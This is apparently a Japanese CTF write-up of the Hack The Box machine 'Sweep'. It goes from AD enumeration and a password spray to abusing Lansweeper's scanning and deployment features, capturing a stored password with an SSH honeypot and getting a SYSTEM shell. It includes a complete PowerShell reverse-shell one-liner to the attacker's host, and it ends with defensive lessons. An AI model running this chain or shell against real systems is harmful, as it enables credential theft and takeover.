Hack The BoxのWriteup(Sweep)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Sweep — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC + Lansweeper (81/82)
RID Brute (guest)
12ユーザー列挙
username=passwordスプレー
intern:intern ヒット
Lansweeper Web UI
Scanning Target+SSHハニーポット
svc_inventory_lnx窃取
net rpc addmemでLansweeper Admins
WinRM
user.txt ✓
資格情報マッピング作成
平文を見ずにsvc_inventory_win紐付け
Deployment Package
Run mode: Scanning credentials
SYSTEM リバースシェル
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 5000 -T4 10.129.234.177
nmap -Pn -sV -sC -p 53,81,82,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 10.129.234.177
RESULT
PORT     STATE SERVICE VERSION
53/tcp   open  domain
81/tcp   open  http     (Lansweeper, HTTP)
82/tcp   open  http     (Lansweeper, HTTPS login.aspx)
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
5985/tcp open  wsman (WinRM)
9389/tcp open  adws
Domain: sweep.vl / DC hostname: INVENTORY (inventory.sweep.vl)
ℹ️
典型的な Windows AD ドメインコントローラのポート構成に加え、 81/82番でLansweeper(IT資産管理ツール)のWeb UIが公開されている点が特徴的。 82番は/login.aspxを持つHTTPS版。

SMB匿名アクセス確認

BASH
netexec smb 10.129.234.177 -u guest -p ''
echo "10.129.234.177  sweep.vl inventory.sweep.vl" >> /etc/hosts
RESULT
SMB  10.129.234.177  445  INVENTORY  [*] Windows Server 2022 ... (domain:sweep.vl)
SMB  10.129.234.177  445  INVENTORY  [+] sweep.vl\guest: (Guest)
PHASE 2

RID Brute とパスワードスプレーによる資格情報収集

RID Bruteforce によるユーザー列挙

BASH
netexec smb 10.129.234.177 -u guest -p '' --rid-brute 9999
RESULT
SidTypeUser: jgre808, bcla614, hmar648, jgar931, fcla801, jwil197,
grob171, fdav736, jsmi791, hjoh690, svc_inventory_win, svc_inventory_lnx, intern
ℹ️
svc_inventory_win / svc_inventory_lnx という命名から Lansweeperのスキャン用サービスアカウント(Windows対象用・Linux対象用)であると推測できる。 intern という汎用的なアカウント名も存在。

username=password スプレー

BASH
netexec smb 10.129.234.177 -u users.txt -p users.txt --no-bruteforce --continue-on-success
RESULT
SMB  10.129.234.177  445  INVENTORY  [+] sweep.vl\intern:intern
intern:intern という弱いユーザー名=パスワードの組み合わせがヒット。
PHASE 3

Lansweeper SSHハニーポットで svc_inventory_lnx を窃取 → user.txt

Lansweeper Web UI へログイン

NOTE
https://10.129.234.177:82/login.aspx に intern:intern でログイン。
ログインフォームは ASP.NET WebForms (postback) のため、ユーザー名/パスワード欄
入力後は「WINDOWS LOGIN」ボタン(実体は id=LoginButton)を直接クリックする必要がある。
Enterキー送信や form.submit() では __EVENTTARGET が正しくセットされずログインに失敗する。

Scanning Target + Credentials で SSH ハニーポットへ誘導

BASH (Kali側)
# SSHハニーポットを1337番で起動 (sshesame等)
sshesame --config sshesame.yaml # listen :1337, 入力された資格情報をログ出力
NOTE (Lansweeper Web UI操作)
Scanning > Scanning targets で Kali の IP をスキャン対象として追加 (SSH port 1337)
Scanning > Scanning credentials で "Inventory Linux" (svc_inventory_lnx) 資格情報を
そのスキャン範囲にマッピング → Lansweeper が定期スキャンで自動的に
svc_inventory_lnx の実際のパスワードを使って SSH接続を試みる → ハニーポットが平文捕捉
RESULT (ハニーポットログ)
password auth: svc_inventory_lnx / 0|5m-U6?/uAX
Lansweeperの「スキャン対象に自分のマシンを追加し、既存の保存済み資格情報を マッピングしてスキャンを走らせる」という正規機能を悪用し、 Web UI上ではパスワードの平文を一切表示しないまま実際の 認証試行を自分のハニーポットへ誘導してパスワードを窃取できる。

Lansweeper Admins グループへ intern を追加

BASH
netexec smb 10.129.234.177 -u svc_inventory_lnx -p '0|5m-U6?/uAX' # 有効なドメインアカウントと確認

net rpc group addmem 'LANSWEEPER ADMINS' intern \
  -U 'sweep.vl/svc_inventory_lnx%0|5m-U6?/uAX' -S 10.129.234.177
ℹ️
BloodHound調査で svc_inventory_lnx が「Lansweeper Discovery」グループの メンバーであり、そのグループが「Lansweeper Admins」グループへの GenericAll ACLを持つことが判明。この権限を使い intern を Lansweeper Admins へ追加する。

WinRM で user.txt 取得

BASH
netexec winrm 10.129.234.177 -u intern -p intern -x 'type C:\user.txt'
RESULT
d2d89a58c454428461b1c7b2547f9165
user.txt — intern (WinRM)
d2d89a58c454428461b1c7b2547f9165
⚠️
重要: Lansweeper Admins は Lansweeper アプリケーション内の 管理者権限であり、OS(Windows)レベルのローカル管理者ではない。 そのためWinRMでのログイン・user.txt読み取りはできるが、 C:\Users\Administrator\Desktop\root.txt へは Access is denied となり読めない。root化には別のベクターが必要。
PHASE 4

スキャン資格情報マッピング作成 (平文パスワードを見ずに武器化)

なぜ Deployment がそのままでは失敗するか

NOTE
Lansweeper の Deployment Package 機能には Run mode というオプションがあり、
"System account" を選ぶと一見 SYSTEM 権限で実行されるように見える。
しかし実際には Deployment Package を対象ホストへ push・実行するための
最初の WMI/SMB 接続に「その対象に紐付けられたスキャン資格情報」が必要で、
資格情報マッピングが無い対象に対しては

  Failure while connecting to Asset. No credentials were found.

というエラーで失敗する (Run mode=System account でも同様)。
🚨
実際の昇格ベクター: Scanning > Scanning credentials 画面には 既に Inventory Windows (ログイン: SWEEP\svc_inventory_win) という資格情報が保存されているが、マッピング済みでは無い (Not mapped)。intern はこの資格情報の平文パスワードを閲覧する権限は無いが、 「Windows Computer」マッピングとして対象ホスト名に紐付ける」操作自体は Lansweeper Admin権限で実行できる。マッピングさえ作れば、 Deployment の Run mode を「Scanning credentials」にすることで、 Lansweeper が内部でこの資格情報を復号してWMI/SMB接続に使い、 svc_inventory_win 名義でコードを実行してくれる。

Scanning credentials 画面で資格情報マッピングを作成

NOTE (Web UI操作手順)
1. https://10.129.234.177:82/Scanning/Credentials/ を開く
2. "Credential Mapping" セクションの "+ Map Credential" をクリック
3. ダイアログの "Mapping type" を "Windows Computer" に変更
4. 資格情報一覧から "Inventory Windows" (SWEEP\svc_inventory_win) を選択
5. "Domain\Computername" 欄に SWEEP\INVENTORY と入力
   (単に INVENTORY だけだと "'domain\computername' OR 'WORKGROUP\computername'"
    というバリデーションエラーになる — ドメインプレフィックス必須)
6. Ok をクリックしてマッピングを保存
RESULT
Credential Mapping テーブルに以下が追加される:
  Mapping type: Windows Computer | Mapped to: SWEEP\INVENTORY | Credentials: Inventory Windows
"Inventory Windows" の Mapping 列が赤(Not mapped)から緑チェックマークに変化
これで intern はパスワードを一切知らないまま svc_inventory_win を Deployment 実行に使える状態になった。
PHASE 5

Deployment Package で SYSTEM リバースシェル → root.txt

Deployment Package の作成

NOTE (Web UI操作手順)
1. Deployment > Deployment packages > "+ New package" をクリック
2. パッケージ名 "pwn" を入力し Ok
3. "Add step" をクリック
4. Action を "Command" に変更 (デフォルトは "Installer")
5. Step name に "pwn"、Command 欄に PowerShellリバースシェルのワンライナーを貼り付け
POWERSHELL (Command ステップの中身)
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<kali_ip>',1337);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
  $sendback = (iex $data 2>&1 | Out-String);
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};
$client.Close()"
BASH (Kali側リスナー)
nc -lvnp 1337

Run mode を Scanning credentials に設定

NOTE
パッケージ編集画面の "Deployment package options" > "Run mode" で
"Predefined" > "Scanning credentials" を選択(自動保存される、Saveボタン不要)。
"System account" のままだと Phase 4 のマッピングがあっても
資格情報解決の対象が異なり同じエラーになるため、必ず明示的に
"Scanning credentials" を選ぶ。

Deploy Now → INVENTORY を選択してデプロイ実行

NOTE (Web UI操作手順)
1. "Deploy now" をクリック
2. "Deploy on" を "Selection" に切り替え
3. "+ Select Assets" をクリックし、一覧から "INVENTORY" にチェック → Ok
4. Deploy ダイアログの Ok をクリック
5. "Are you sure you want to deploy this package?" の確認ダイアログで "Yes" をクリック
   (この確認ステップを見落とすと実際にはデプロイされないまま終わる)
RESULT (Kali側 nc リスナー)
connect to [<kali_ip>] from (UNKNOWN) [10.129.234.177] 52726
> whoami
nt authority\system
マッピング済みの svc_inventory_win 資格情報を使って Lansweeper が INVENTORY 上でデプロイパッケージを実行し、 SYSTEM 権限のリバースシェルが返ってくる。

root.txt 取得

BASH (受信したSYSTEMシェル内)
type C:\Users\Administrator\Desktop\root.txt
RESULT
71770ae0f007e2aed64425728977cc65
root.txt — nt authority\system
71770ae0f007e2aed64425728977cc65
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — intern (WinRM)
d2d89a58c454428461b1c7b2547f9165
root.txt — nt authority\system (INVENTORY)
71770ae0f007e2aed64425728977cc65

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
弱いユーザー名=パスワード AD アカウント intern 初期ドメイン認証情報の取得 Medium RID BruteでユーザーIDを列挙後、username=passwordスプレーでヒット
Lansweeper Scanning機能の悪用 Lansweeper Web UI (svc_inventory_lnx) 保存済み資格情報の平文窃取 High 攻撃者所有ホストをScanning Targetに追加し既存Credentialをマッピング、SSHハニーポットで実パスワードを捕捉
Lansweeper ACL誤設定 Lansweeper Discovery → Lansweeper Admins グループ アプリケーション管理者権限への昇格 High GenericAll ACLを利用しnet rpc group addmemでinternをLansweeper Adminsへ追加
Lansweeper Deployment 低権限RCE Lansweeper Deployment Package (Scanning credentials Run mode) ターゲットホスト上でのSYSTEM権限コード実行 Critical 低権限Lansweeper Adminでも既存スキャン資格情報を平文を見ずにマッピングし、Deployment Packageの実行資格情報として悪用できる設計上の欠陥

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + SMB匿名アクセス確認AD DC + Lansweeper (81/82) 発見
2資格情報収集RID Brute + username=passwordスプレーintern:intern
3Lansweeper悪用Scanning Target + SSHハニーポット + GenericAll ACLsvc_inventory_lnx窃取 → user.txt
4資格情報マッピングWindows Computer マッピング (平文非開示)svc_inventory_win を SWEEP\INVENTORY へ紐付け
5Deployment RCECommand step + Run mode: Scanning credentialsSYSTEM リバースシェル → root.txt

学んだ教訓 & 防御策

問題点防御策
ドメインアカウントにユーザー名=パスワードという弱い組み合わせが許容されている パスワードポリシーでユーザー名を含む・一致するパスワードを禁止し、定期的なパスワードスプレー監査を実施する。
Lansweeperの「Scanning Target追加」機能が低権限ユーザーから自由に使え、攻撃者管理下のホストへ既存資格情報を使った認証を誘導できる Scanning Targetの追加を高権限ロールに限定し、社内IPレンジ外への認証試行を検知・アラートする。
Lansweeper内部グループ間のACL(Lansweeper Discovery → Lansweeper Admins へのGenericAll)が過度に緩い Lansweeperの内部グループ権限を最小権限の原則で再設計し、Discovery用アカウントに管理者グループへの変更権限を与えない。
低権限のLansweeper Admin(Webアプリ上の役割)が、既存の高権限スキャン資格情報を平文を見ずにDeployment実行用途へ転用できてしまう設計上の欠陥 Deployment機能の実行権限とスキャン資格情報の利用権限を分離し、Deployment実行には別途明示的な承認・専用の低権限実行アカウントを要求する。Lansweeperを最新版に更新し既知の権限昇格脆弱性のパッチ適用状況を確認する。
HackTheBox: Sweep | 完全攻略レポート